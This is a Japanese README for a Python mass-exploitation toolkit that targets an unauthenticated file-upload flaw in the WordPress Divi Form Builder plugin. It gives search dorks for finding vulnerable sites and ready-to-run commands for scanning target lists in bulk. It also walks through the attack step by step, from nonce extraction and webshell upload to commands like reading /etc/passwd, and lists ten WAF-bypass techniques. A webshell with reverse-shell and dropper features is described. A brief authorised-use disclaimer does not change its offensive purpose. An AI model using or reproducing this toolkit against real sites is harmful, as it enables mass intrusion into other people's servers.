
CVE-2026-5524(WordPress Divi Form Builder プラグインにおける認証不要のファイルアップロード RCE)向けの Python 大量エクスプロイトツールキット。ウェブシェルのアップロードとコマンド実行が可能。
CVE-2026-5524 のための大量エクスプロイトツールキット。WordPressプラグイン Divi Form Builder <= 5.1.8 における未認証の任意ファイルアップロード脆弱性で、リモートコード実行に至ります。
| 項目 | 値 |
|---|---|
| CVE | 2026-5524 |
| CVSS | 9.8 (Critical) |
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 影響を受けるバージョン | Divi Form Builder <= 5.1.8 |
| 修正済み | 5.1.9 |
| 種類 | 未認証ファイルアップロードによるRCE |
| 研究者 | 0xd4rk5id3 - EnvoraSec |
WordPress用のDivi Form Builderプラグインには、未認証の任意ファイルアップロード脆弱性が存在します。do_image_upload() ハンドラは、ユーザーが制御可能な acceptFileTypes POSTパラメータを、ファイル拡張子を検証するために使用される正規表現に直接渡します。phtml などの値を指定することで、攻撃者は .php 拡張子のみをブロックするプラグインの .htaccess ルールをバイパスし、PHPで実行可能な拡張子(.phtml、.phar、.php5、.php7 など)を持つウェブシェルをアップロードできます。
ファイルが /wp-content/uploads/de_fb_uploads/ に配置されると、ApacheはそれをPHPとして実行し、攻撃者にWebサーバーユーザーとしてのリモートコード実行を許可します。
この問題はDivi Form Builder 5.1.9で修正されています。
body="de_fb_obj" && body="fb_nonce"
http.html:"de_fb_obj" http.html:"fb_nonce"
inurl:"/wp-content/plugins/divi-form-builder/"
app:"WordPress" && body:"de_fb_obj"
services.http.response.body: "de_fb_obj"
要件: Linux、macOS、またはWSL上のPython 3.8以降。
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 CVE-2026-5524.py -u https://target.com
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20
WAF(NinjaFirewall、Wordfence、ModSecurity)の背後にあるターゲット、またはApacheやnginxの設定が強化されている場合。
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug
アップロードが成功した後、スクリプトは即座にコマンドを実行するか、対話型シェルに入ることができます。
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell
脆弱なハンドラは、サニタイズせずにユーザー入力から正規表現を構築します。
public function do_image_upload() {
$accepted = $_POST['acceptFileTypes'];
$pattern = '/\\.(' . $accepted . ')$/i';
if (preg_match($pattern, $filename)) {
move_uploaded_file($tmp, $dest);
}
}
acceptFileTypes=phtml を送信することで、結果として得られる正規表現 /\.(phtml)$/i は .phtml で終わるファイル名にマッチします。これはプラグイン自身の .htaccess ファイルが .php 拡張子のみをブロックしているにもかかわらずです。その後ApacheはアップロードされたファイルをPHPとして実行し、リモートコード実行を引き起こします。
Divi Form Builderフォームを埋め込んでいるページ(/、/contact、/quote など)をクロールします。?nocache=<random> パラメータを追加して、Varnish、WP Rocket、その他古いnonceを配信するページキャッシュを無効化します。
ローカライズされたJavaScriptオブジェクトから fb_nonce の値を抽出します:
de_fb_obj = {"fb_nonce":"<10 hex characters>", ...}
/wp-admin/admin-ajax.php にマルチパートフォームをPOSTします:
action=de_fb_image_upload
fb_nonce=<nonce>
acceptFileTypes=phtml
[email protected]
JSONレスポンスからファイルURLを読み取ります:
{"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
base64エンコードされたコマンドでシェルをリクエストします:
curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
スクリプトは各手法を優先順位に従って試行し、--aggressive が設定されている場合は、最初のアップロードが成功を報告した後でもすべてを試行します。
cve-2026-5524/
|-- CVE-2026-5524.py メインエクスプロイトスクリプト
|-- bypass.phtml 16 KBの多層PHPウェブシェル
|-- htaccess_enable.phtml 再有効化する.htaccessを書き込むドロッパー
|-- user_ini.phtml PHP-FPM用の.user.iniを書き込むドロッパー
|-- targets.txt ターゲットリストの例
|-- pwned.jsonl 大量スキャン中に-oフラグによって生成される
|-- requirements.txt Python依存関係
`-- README.md このドキュメント
+--------------------------------------------------+
| 1. 偵察 |
| GET /?nocache=<random> |
| de_fb_objからfb_nonceをパース |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 2. エクスプロイトの作成 |
| POST /wp-admin/admin-ajax.php |
| action=de_fb_image_upload |
| acceptFileTypes=phtml |
| [email protected] |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 3. サーバーがファイルを受け入れて保存 |
| /uploads/de_fb_uploads/<random>.phtml |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 4. 実行 |
| GET shell.phtml?x=base64(command) |
| リモートコード実行が達成される |
+--------------------------------------------------+
このツールは教育目的および許可されたペネトレーションテストの実施中に使用するために提供されています。許容される使用例には以下が含まれます:
あなたが所有していない、またはテストする明示的な書面による許可を持たないシステムに対する不正使用は、事実上すべての法域で違法であり、固く禁止されています。作者はこのコードの悪用を容認せず、また責任を負いません。
J'ai la permission et je suis autorisé à effectuer ce pentest. (私は許可を得ており、このペネトレーションテストを実施する権限があります。)
関連する可能性のある法律には、インドネシアのUU ITE、米国のComputer Fraud and Abuse Act、欧州連合のサイバー犯罪条約、およびその他の地域の同等の法律が含まれます。疑わしい場合は、まず書面による許可を取得してください。
教育目的での使用に限ります。使用条件の全文については免責事項のセクションを参照してください。
| フラグ | 説明 |
|---|
-u URL | 単一ターゲットURL |
-l FILE | ターゲットリストを含むファイル、1行に1つのURL |
-t N | 同時スレッド数(デフォルト10) |
--timeout N | リクエストタイムアウト(秒単位、デフォルト15) |
-o FILE | 結果をJSONL出力ファイルに保存 |
--proxy URL | HTTPプロキシ経由でトラフィックをルーティング |
--nonce HASH | 手動で提供されたnonceを使用し、自動検出をスキップ |
--ext EXT | 完全なバイパスリストの代わりに単一の拡張子を強制 |
--shell | 成功時に対話型RCEシェルに入る(単一ターゲットのみ) |
--cmd CMD | ターゲット上で1つのコマンドを実行して終了 |
--shell-file FILE | 組み込みのものではなくカスタムシェルペイロードをアップロード |
--no-verify | アップロード後のRCE検証ステップをスキップ |
--strict-verify | シェルURLがHTTP 200を返すことを確認して誤検知を除外 |
--user-ini | PHP-FPM環境用に .user.ini ドロッパーをアップロード |
--htaccess | Apache環境用に .htaccess 再有効化ツールをアップロード |
--aggressive | 利用可能なすべてのバイパス手法を有効化 |
--null-byte | ヌルバイトおよび二重拡張子の試行を含める |
--path-traversal | /uploads/YYYY/MM/ サブディレクトリへのアップロードを試行 |
--debug | 診断用に生のHTTPレスポンスを出力 |
| # | 手法 | 対象 |
|---|
| 1 | 代替PHP拡張子 .phtml、.phar、.php5、.php7、.php4、.pht、.shtml | .php のみをブロックするプラグインの .htaccess ルール |
| 2 | 大文字小文字の変更 .PHTML、.PHP5、.PhTmL | 大文字小文字を区別するWAFシグネチャ(NinjaFirewall) |
| 3 | 二重拡張子 .phtml.jpg、.php.jpg | Apache mod_mime のコンテンツネゴシエーションの癖 |
| 4 | ヌルバイト .php%00.jpg、.phtml%00.txt | 古いPHPバージョン(5.3.4未満)および特定のパーサー |
| 5 | 末尾のスペースまたはドット .php 、.php. | Windows IISおよび古いApacheバージョン |
| 6 | Content-Typeスプーフィング application/octet-stream | マルチパートのContent-Typeヘッダーに依存するWAF |
| 7 | .gif、.png、.jpg、.txt、.html などに対してPHPを再有効化する本物の .htaccess をアップロード | AllowOverride All が設定されたApacheサーバー |
| 8 | auto_prepend_file を含む .user.ini をアップロード | PHP-FPM環境 |
| 9 | マルチパート境界操作によるファイル名インジェクション | リクエストボディを再解析するプロキシおよびWAF |
| 10 | ファイル名におけるパストラバーサル ../shell.phtml | プラグインのディレクトリ制限 |
| コンポーネント | 技術 |
|---|
| 言語 | Python 3.8+ |
| HTTPクライアント | requests |
| TLS処理 | 自己署名証明書用に非セキュアモードの urllib3 |
| 並行処理 | 大量スキャン用の concurrent.futures.ThreadPoolExecutor |
| パース | nonce抽出用の re、レスポンス処理用の json |
| エンコード | ウェブシェルコマンドパラメータ用の base64 |
| CLI | 19個の設定可能なフラグを持つ argparse |
| コンポーネント | 技術 |
|---|
| 言語 | PHP 7.0+ |
| 実行関数 | system()、shell_exec()、proc_open()、passthru()、popen() |
| フロントエンド | プレーンHTMLフォーム、JavaScriptフレームワークなし |
| 機能 | ファイルブラウザ、コマンド実行、データベースアクセス、リバースシェル、自己インストールする .htaccess および .user.ini |
| サイズ | 約16 KB |
| バイパス層 | 6つの独立した実行パスとエンコードされたペイロード |